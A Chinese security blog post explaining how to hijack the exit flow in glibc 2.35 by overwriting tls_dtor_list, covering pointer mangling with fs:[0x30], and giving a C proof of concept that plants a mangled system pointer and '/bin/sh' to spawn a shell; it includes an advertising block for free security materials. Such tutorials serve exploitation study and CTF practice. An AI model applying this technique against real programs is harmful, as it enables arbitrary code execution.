首页 > 其他分享 >glibc2.35-通过tls_dtor_list劫持exit执行流程

glibc2.35-通过tls_dtor_list劫持exit执行流程

时间:2023-09-06 17:36:16浏览次数:45  
标签:tls glibc2.35 dtor list unsigned long system

前言

glibc2.35删除了malloc_hook、free_hook以及realloc_hook,通过劫持这三个hook函数执行system已经不可行了。

传统堆漏洞利用是利用任意地址写改上上述几个hook从而执行system,在移除之后则需要找到同样只需要修改某个地址值并且能够造成程序流劫持的效果。

__call_tls_dtors

在程序返回时会通过exit函数,exit函数会经历以下调用过程

exit
->
__run_exit_handlers
->
__call_tls_dtors

__call_tls_dtors函数中则存在着可以进行劫持的地址,__call_tls_dtors函数的执行如下:

  • 判断tls_dtor_list为空

  • 不为空则将tls_dtor_list赋值给cur

  • 取出函数指针cur->func

  • 通过PTR_DEMANGLE宏解密指针值

  • 执行函数指针

void
__call_tls_dtors (void)
{
  while (tls_dtor_list)
    {
      struct dtor_list *cur = tls_dtor_list;
      dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
      PTR_DEMANGLE (func);
#endif
​
      tls_dtor_list = tls_dtor_list->next;
      func (cur->obj);
      atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
      free (cur);
    }
}

通过上述流程可知,若能够劫持tls_dtor_list,则可以将cur->func指向的位置修改为system函数。具体取出tls_dtor_list的汇编语言如下

image-20230825223658781

  • 首先取出tls_dtor_list的下标值,即rbx寄存器的值为0xffffffffffffffa8,转换为十进制为-88

  • 而该下标是用fs进行寻址的,然后取出tls_dtor_list的值判断是否为空

image-20230825224106945

那么假设已经存在任意地址写的漏洞,并且将tls_dtor_list修改为不是空值,看看后续会进入哪些校验流程

image-20230825224554854

首先遇到第一个问题,在后续的流程中需要将tls_dtor_list的内容作为指针值进行索引,因此我们不能够直接将system函数的地址写入tls_dtor_list,而是需要将指向system函数的指针写入。即在堆题中,我们新创建一个堆,并在堆内容写入system函数的地址,然后将堆地址填充到tls_dtor_list

image-20230825224743540

根据上述的方法,我们成功进入后续的流程

image-20230825225326920

但是在执行函数执行时,会遇到另一个问题,最后的指针值被修改为乱七八糟的值了。

image-20230825225409551

这是因为上述的宏定义PTR_DEMANGLE,需要将函数指针进入一个解密的流程,因此在传递指针值时,需要先传递一个加密后的指针值。解密的流程如下,

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

先将指针循环右移0x11,然后与fs:[0x30]进行异或。循环右移比较好解决,先将指针循环左移即可。但是这个异或值则需要获得fs:[0x30]的值。

   0x7ffff7c45d88 <__call_tls_dtors+40>    ror    rax, 0x11
   0x7ffff7c45d8c <__call_tls_dtors+44>    xor    rax, qword ptr fs:[0x30]

也可以看到这个值是一个八字节的随机值,因此通过爆破获得的可能性不大。

image-20230825225742846

那么该攻击方法需要的一个要求就是能够获得该随机值或者能够篡改该值。需要注意点是指针值是先循环右移在异或,因此在加密指针时需要先异或在循环左移。那么解决上述问题之后就能够正确调用地址了,此时就应该考虑该函数指针需要如何传参。可以看到下图,rdi寄存器是通过我们传入的指针值作为基地址进行寻址的,只需要在偏移加8的位置填充/bin/sh的地址值即可。

image-20230825230839748

POC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
​
unsigned long long rotate_left(unsigned long long value, int left)
{
    return (value << left) | (value >> (sizeof(unsigned long long) * 8 - left));
}
​
​
int main() {
    unsigned long long fs_base;
    unsigned long long index = 0xffffffffffffffa8;
    unsigned long long tls_dtor_list_addr;
    unsigned long long random_number;
    void *system_ptr = (void *)&system;
    printf("system:%p\n",system_ptr);
    // 使用汇编嵌入获取FS寄存器的值
    asm("mov %%fs:0, %0" : "=r" (fs_base));
    printf("Value in FS register: 0x%llx\n", fs_base);
    tls_dtor_list_addr = fs_base - 88;
    random_number = *(unsigned long long *)(fs_base + 0x30);
    char *str_bin_sh = malloc(0x20);
    strcpy(str_bin_sh,"/bin/sh");
    void *ptr = malloc(0x20);
    *(unsigned long long *)ptr = rotate_left((unsigned long long)system_ptr ^ random_number,0x11);
    *(unsigned long long *)(ptr + 8)  = str_bin_sh;
    *(unsigned long long *)tls_dtor_list_addr = ptr;
    return 0;
}

总结

简单总结一下通过tls_dtor_list劫持exit执行流程的条件

  • 存在任意地址写的漏洞利用

  • 能够篡改或泄露fs_base + 0x30的值

  • 程序会通过exit函数结束程序,若是通过_exit则不行

更多网安技能的在线实操练习,请点击这里>>

 

标签:tls,glibc2.35,dtor,list,unsigned,long,system
From: https://www.cnblogs.com/hetianlab/p/17682896.html

相关文章

  • glibc2.35-通过tls_dtor_list劫持exit执行流程
    前言glibc2.35删除了malloc_hook、free_hook以及realloc_hook,通过劫持这三个hook函数执行system已经不可行了。传统堆漏洞利用是利用任意地址写改上上述几个hook从而执行system,在移除之后则需要找到同样只需要修改某个地址值并且能够造成程序流劫持的效果。__call_tls_dtors在程序......
  • 【问题记录】The TLS connection was non-properly terminated.
    系统:ubuntu22.04TLSgit克隆到本地时报错root@mail:/mail#gitclonehttps://github.com/mailcow/mailcow-dockerizedCloninginto'mailcow-dockerized'...fatal:unabletoaccess'https://github.com/mailcow/mailcow-dockerized/':GnuTLSrecverror......
  • What is TLS ?
    TLSintrductionTLS是一种保障数据传输安全的一种技术(方案),它在传输层工作。想知道TLS和SSL的关系,先看看他们的历史:人们遇到数据传输安全问题1994SSL1.01995SSL2.01996SSL3.01999TLS1.0=SSL3.02006TLS1.1=SSL3.22008TLS1.2=SSL3.3...可以看出,TLS......
  • TLS证书文件创建
    #######################################################创建CAX509version1.0根证书#######################################################创建证书存放目录CertPath=/k8s/tlsv2DomainName=ca.huawei.com#1、创建证书文件存放目录mkdir-p${CertPath}&......
  • How to Disable TLS1.3 on Windows server 2022 for web server
    DisablingTLS1.3TLS1.3isenabledbydefaultinWindows11Professional/EnterpriseandWindowsServer2022Standardoperatingsystems.TodisableTLS 1.3:OpenInternetInformationServices(IIS)Manageronthe PME server.Inthe Connections pane(leftpan......
  • TLS 证书生成方法
    ###############################################!/bin/bashfunctiontls3.encry.ext(){#签发加密类型的X509证书文件######################################################创建CA(X509version3.0)加密根证书###############################################......
  • X509 TLS
    !/bin/bashfunctiontls3(){######################################################创建CAX509version3.0根证书#####################################################CertPath=/k8s/tlsv3CertPD=huawei@123DomainName=ca.huawei.com#1、创建证书存放目录......
  • TLS X509 Version3.0
    ######################################################创建CAX509version3.0根证书#####################################################rm-rf/k8s/tlsv1CertPath=/k8s/tlsv1CertPD=huawei@123DomainName=ca.huawei.com#1、创建证书存放目录mkdir-p${......
  • NOTE: mbedtls 2.28 is required for TLS support!
    NOTE:mbedtls2.28isrequiredforTLSsupport!"这个提示表示您需要安装版本为2.28或更高版本的mbedtls库,以便为您正在构建或使用的软件启用TLS(传输层安全)支持。TLS用于在网络上建立安全通信,通常在HTTPS连接中使用。sudoaptinstalllibmbedtls-dev......
  • 在最新更新的 Windows 系统中使用 .net 程序调用一些 https 接口时出现错误:请求被中止
    这是因为出于安全原因,新更新的系统中会默认禁用一些已经过时不安全的加密协议如:SSL3.0、TLS1.0、TLS1.1等但并不是所有接口服务器都已经更新支持了更新的协议所以在确认安全的情况下,可以将这些旧的协议再次启用,以达到兼容旧接口调用的目的方法1:注意:这个修改会在系统全局......